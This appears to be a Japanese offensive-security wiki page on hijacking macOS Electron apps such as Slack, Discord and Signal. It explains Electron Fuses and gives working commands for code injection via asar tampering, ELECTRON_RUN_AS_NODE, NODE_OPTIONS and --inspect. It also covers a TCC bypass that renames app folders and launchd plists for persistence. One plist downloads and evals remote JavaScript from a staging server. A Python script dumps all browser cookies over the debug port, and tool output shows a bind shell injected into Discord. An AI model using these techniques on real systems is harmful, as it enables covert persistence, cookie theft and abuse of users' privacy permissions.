基本情報
Electronが何かわからない場合は、こちらで多くの情報を見つけることができます 。ただし、今のところは、Electronがnode を実行することを知っておくだけで十分です。
そして、nodeには、指定されたファイル以外のコードを実行するために使用できるパラメータ や環境変数 がいくつかあります。
Electron Fuses
これらのテクニックは次に議論されますが、最近のElectronにはこれらを防ぐためのいくつかのセキュリティフラグ が追加されています。これらはElectron Fuses であり、macOSのElectronアプリケーションが任意のコードを読み込むのを防ぐ ために使用されるものです:
RunAsNode
: 無効にすると、環境変数**ELECTRON_RUN_AS_NODE
**の使用を防ぎ、コードのインジェクションを防ぎます。
EnableNodeCliInspectArguments
: 無効にすると、--inspect
、--inspect-brk
などのパラメータが尊重されなくなります。これにより、コードのインジェクションが防止されます。
EnableEmbeddedAsarIntegrityValidation
: 有効にすると、読み込まれた**asar
** ファイル がmacOSによって検証 されます。このファイルの内容を変更してコードのインジェクションを防ぎます。
OnlyLoadAppFromAsar
: これが有効になっている場合、次の順序で読み込みを検索する代わりに: app.asar
、app
、最後に**default_app.asar
。app.asarのみをチェックして使用するため、 embeddedAsarIntegrityValidation
フューズと組み合わせると、検証されていないコードを読み込むことが 不可能**になります。
LoadBrowserProcessSpecificV8Snapshot
: 有効にすると、ブラウザプロセスはV8スナップショットにbrowser_v8_context_snapshot.bin
というファイルを使用します。
コードインジェクションを防ぐことはないが、興味深いフューズもあります:
EnableCookieEncryption : 有効にすると、ディスク上のクッキーストアがOSレベルの暗号化キーを使用して暗号化されます。
Electron Fusesの確認
アプリケーションからこれらのフラグを確認 することができます:
Copy npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Electron Fusesの変更
ドキュメントに記載 されているように、Electron Fuses の構成は、Electronバイナリ 内に構成されており、どこかに文字列 dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
が含まれています。
macOSアプリケーションでは、通常、application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
に配置されています。
Copy grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
Electronアプリケーションへのコード追加によるRCE
Electronアプリケーションが使用している外部のJS/HTMLファイル が存在する可能性があり、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリケーションのコンテキストで任意のコードを実行できます。
ただし、現時点では2つの制限があります:
**kTCCServiceSystemPolicyAppBundles
**権限が必要です。したがって、デフォルトではこれは不可能になりました。
通常、コンパイルされた**asap
ファイルには、 embeddedAsarIntegrityValidation
および onlyLoadAppFromAsar
のヒューズが 有効**になっています。
これにより、この攻撃経路がより複雑になり(または不可能になり)ます。
kTCCServiceSystemPolicyAppBundles
の要件をバイパスすることが可能であり、アプリケーションを別のディレクトリ(たとえば /tmp
)にコピーし、フォルダ名を**app.app/Contents
から app.app/NotCon
に変更し、悪意のあるコードで asarファイルを 変更し、それを app.app/Contents
**に戻して実行することができます。
asarファイルからコードを展開することができます。
Copy npx asar extract app.asar app-decomp
そして、それを修正した後にパックし直します。
Copy npx asar pack app-decomp app-new.asar
ELECTRON_RUN_AS_NODE
を使用した RCE
ドキュメント によると、この環境変数が設定されている場合、プロセスは通常の Node.js プロセスとして開始されます。
Copy # Run this
ELECTRON_RUN_AS_NODE = 1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require( 'child_process' ).execSync( '/System/Applications/Calculator.app/Contents/MacOS/Calculator' )
RunAsNode
フューズが無効になっている場合、環境変数 ELECTRON_RUN_AS_NODE
は無視され、これは機能しません。
アプリ Plist からのインジェクション
こちらで提案されている ように、この環境変数を plist に悪用して持続性を維持することができます。
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
<! DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key >EnvironmentVariables</ key >
< dict >
< key >ELECTRON_RUN_AS_NODE</ key >
< string >true</ string >
</ dict >
< key >Label</ key >
< string >com.xpnsec.hideme</ string >
< key >ProgramArguments</ key >
< array >
< string >/Applications/Slack.app/Contents/MacOS/Slack</ string >
< string >-e</ string >
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</ array >
< key >RunAtLoad</ key >
< true />
</ dict >
</ plist >
NODE_OPTIONS
を使用したRCE
異なるファイルにペイロードを保存して実行することができます:
Copy # Content of /tmp/payload.js
require( 'child_process' ).execSync( '/System/Applications/Calculator.app/Contents/MacOS/Calculator' );
# Execute
NODE_OPTIONS = "--require /tmp/payload.js" ELECTRON_RUN_AS_NODE = 1 /Applications/Discord.app/Contents/MacOS/Discord
EnableNodeOptionsEnvironmentVariable
が無効 になっている場合、アプリは起動時に環境変数NODE_OPTIONS を無視 します。ただし、環境変数**ELECTRON_RUN_AS_NODE
が設定されている場合は、その環境変数も 無視されます。なお、 RunAsNode
**が無効になっている場合も同様です。
ELECTRON_RUN_AS_NODE
を設定しないと、次のエラー が発生します: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
アプリPlistからのインジェクション
これらのキーを追加して持続性を維持するために、この環境変数をplistで悪用することができます:
Copy < dict >
< key >EnvironmentVariables</ key >
< dict >
< key >ELECTRON_RUN_AS_NODE</ key >
< string >true</ string >
< key >NODE_OPTIONS</ key >
< string >--require /tmp/payload.js</ string >
</ dict >
< key >Label</ key >
< string >com.hacktricks.hideme</ string >
< key >RunAtLoad</ key >
< true />
</ dict >
検査によるRCE
こちら によると、Electronアプリケーションを**--inspect
、 --inspect-brk
、 --remote-debugging-port
**などのフラグを使用して実行すると、デバッグポートがオープン され、それに接続できるようになります(たとえば、Chromeのchrome://inspect
から)。そのため、コードを注入 したり、新しいプロセスを起動したりすることができます。
例えば:
Copy /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require( 'child_process' ).execSync( '/System/Applications/Calculator.app/Contents/MacOS/Calculator' )
EnableNodeCliInspectArguments
フューズが無効になっている場合、アプリは起動時に --inspect
のようなノードパラメータを無視 しますが、環境変数 ELECTRON_RUN_AS_NODE
が設定されている場合は無視 されます。ただし、フューズ RunAsNode
が無効になっている場合も同様です。
ただし、electron パラメータ --remote-debugging-port=9229
を使用することはできますが、前述のペイロードは他のプロセスを実行するためには機能しません。
--remote-debugging-port=9222
パラメータを使用すると、Electronアプリから履歴 (GETコマンドで)やブラウザのクッキー (ブラウザ内で復号 され、それらを提供するjsonエンドポイント があるため)などの情報を盗むことができます。
これについては、こちら やこちら で詳しく学ぶことができ、自動ツール WhiteChocolateMacademiaNut や以下のようなシンプルなスクリプトを使用できます:
Copy import websocket
ws = websocket . WebSocket ()
ws . connect ( "ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00" , suppress_origin = True )
ws . send ( '{\"id\": 1, \"method\": \"Network.getAllCookies\"}' )
print (ws. recv ()
このブログポスト では、このデバッグを悪用して、ヘッドレスクロームが任意の場所に任意のファイルをダウンロード するようにします。
アプリ Plist からのインジェクション
この環境変数を plist で悪用することで、次のキーを追加して持続性を維持できます:
Copy < dict >
< key >ProgramArguments</ key >
< array >
< string >/Applications/Slack.app/Contents/MacOS/Slack</ string >
< string >--inspect</ string >
</ array >
< key >Label</ key >
< string >com.hacktricks.hideme</ string >
< key >RunAtLoad</ key >
< true />
</ dict >
古いバージョンを悪用したTCCバイパス
macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックでもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのAPPをダウンロードしてコードをインジェクトすることができます。それでもTCC権限を取得します(Trust Cacheがそれを防止しない限り)。
JSコード以外のコードを実行する
前述のテクニックを使用すると、Electronアプリケーションのプロセス内でJSコードを実行 できます。ただし、子プロセスは親アプリケーションと同じサンドボックスプロファイル で実行され、TCC権限を継承 します。
したがって、たとえばカメラやマイクへのアクセス権を悪用したい場合は、プロセスから別のバイナリを実行 するだけで済みます。
自動インジェクション
ツールelectroniz3r は、インストールされている脆弱性のあるElectronアプリケーションを見つけ 、それらにコードをインジェクトするのに簡単に使用できます。このツールは**--inspect
**テクニックを使用しようとします:
自分でコンパイルする必要があり、次のように使用できます:
Copy # Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using ` kill -9 57739 `
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check ` nc 127.0.0.1 12345 `
参考文献